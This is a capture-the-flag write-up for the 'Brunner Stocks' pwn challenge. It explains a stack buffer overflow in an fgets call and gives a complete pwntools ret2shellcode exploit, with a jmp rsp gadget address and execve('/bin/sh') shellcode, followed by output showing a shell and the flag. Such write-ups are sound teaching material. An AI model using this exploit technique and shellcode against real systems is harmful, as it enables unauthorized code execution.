Brunner Stocks

760 Words · 3 Minutes, 27 Seconds

Category: PWN

Difficulty: Easy-Medium

Author: Vincent

Points: 100

Challenge Description

Brunnerne Inc. just released their state of the art automated stock trading algorithm. Just answer this simple survey on your investment preferences and we will handcraft a custom stock trading algorithm for you.

We are given the source stocks.c, the compiled binary stocks, and a Docker setup that serves the binary over a socket. The “survey” asks a few numeric questions and one yes/no question, then runs a toy trading simulation. The real challenge is hidden in how it reads those numbers.

Approach

Step 1 — Find the bug

Disassembling the program and looking through it we find that the whole program is a distraction wrapped around one classic mistake. Every numeric question goes through askf!

float askf(char *prompt) {
    printf("%s (0.0-100.0): ", prompt);
    char buf[0x10];              // 16-byte buffer
    fgets(buf, 0x100, stdin);    // reads up to 256 bytes
    return atof(buf);
}

buf is 16 bytes, but fgets is told it may read 0x100 (256) bytes. That is a textbook stack buffer overflow — we can write 240 bytes past the end of the buffer, straight over the saved return address!

The author even left us a nice “jump point” at the bottom of the file!

void gadget() {
    __asm__("jmp %rsp; ret;");
}

A dedicated jmp rsp gadget only exists in a binary when someone wants you to jump to the stack.

Step 2 — Check the protections

$ checksec stocks
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)

Everything lines up for the simplest possible exploit:

The executable stack is not an accident either — main uses nested functions as function pointers, which forces GCC to emit trampoline code on the stack and mark the stack executable!

Step 3 — Build the exploit

Alright with the plan of a standard NX-disabled ret2shellcode:

  1. Overflow buf and overwrite the saved return address with the address of jmp rsp.
  2. When askf returns, execution lands on jmp rsp, which jumps to the stack — right after our overwritten return address.
  3. Place execve("/bin/sh") shellcode there and get a shell.

Working out the offset from the disassembly of askf:

4011aa:  sub    rsp,0x20
4011cf:  lea    rax,[rbp-0x10]     ; buf = rbp-0x10

buf sits at rbp-0x10, the saved RBP is at rbp, and the saved return address is at rbp+8. Which makes the padding to reach the return address is 0x10 + 8 = 24 bytes.

The gadget address comes straight from the disassembly:

401597:  ff e4    jmp    rsp

fgets stops on a newline… but it is perfectly happy with null bytes!, so addresses and shellcode containing zeros are fine — we only need to avoid 0x0a!

Full exploit:

#!/usr/bin/env python3
from pwn import *
import sys

context.arch = 'amd64'

JMP_RSP = 0x401597          # `jmp rsp` inside gadget()
OFF     = 24                # buf[rbp-0x10] -> saved RIP at rbp+8  =>  0x10 + 8

# execve("/bin//sh", 0, 0) — 23 bytes, contains no 0x0a
shellcode = bytes.fromhex("4831f65648bf2f62696e2f2f736857545f6a3b58990f05")
assert b"\n" not in shellcode

payload = b"A"*OFF + p64(JMP_RSP) + shellcode

if len(sys.argv) > 1 and sys.argv[1] == "remote":
    io = remote(sys.argv[2], int(sys.argv[3]), ssl=True)  # brunner remote is behind TLS
else:
    io = process("./stocks")

io.sendlineafter(b": ", payload)      # answer the first survey question
io.interactive()

The overflow triggers on the very first question, so we never need to finish the survey.

Step 4 — Execute!

$ python3 exploit.py remote brunner-stocks-...-danmark.challs.brunnerne.xyz 1337
[+] Opening connection to <host> on port <port>: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
brunner{shellcoding_for_the_win}

Flag

brunner{shellcoding_for_the_win}

Reflections and Learnings


pwnbuffer-overflowret2shellcodeshellcodepwntools

PWN